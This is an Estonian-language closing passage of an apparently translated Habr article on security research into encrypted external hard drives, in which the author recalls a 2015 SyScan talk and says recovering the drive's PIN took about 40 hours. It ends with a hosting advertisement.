Mida saaks Aigole soovitada? AnalĂŒĂŒsides paari krĂŒpteeritud HDD-mudelit, tegin 2015. aastal esitlust SyScanil, kus vaatasin mitme vĂ€lise HDD-diskide turvaprobleeme ja andsin soovitusi, mida saaks parandada. 🙂

Selle uuringu jaoks kulutasin kaks nĂ€dalavahetust ja mitu Ă”htut. Kokku umbes 40 tundi. Alates esimestest hetkest (kui ma ketta lahti lĂ”in) kuni lĂ”puni (PIN-koodi koopia). Need 40 tundi sisaldavad ka aega, mille pĂŒhendasin selle artikli kirjutamiseks. See oli vĂ€ga pĂ”nev teekond.

Allikas: habr.com

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster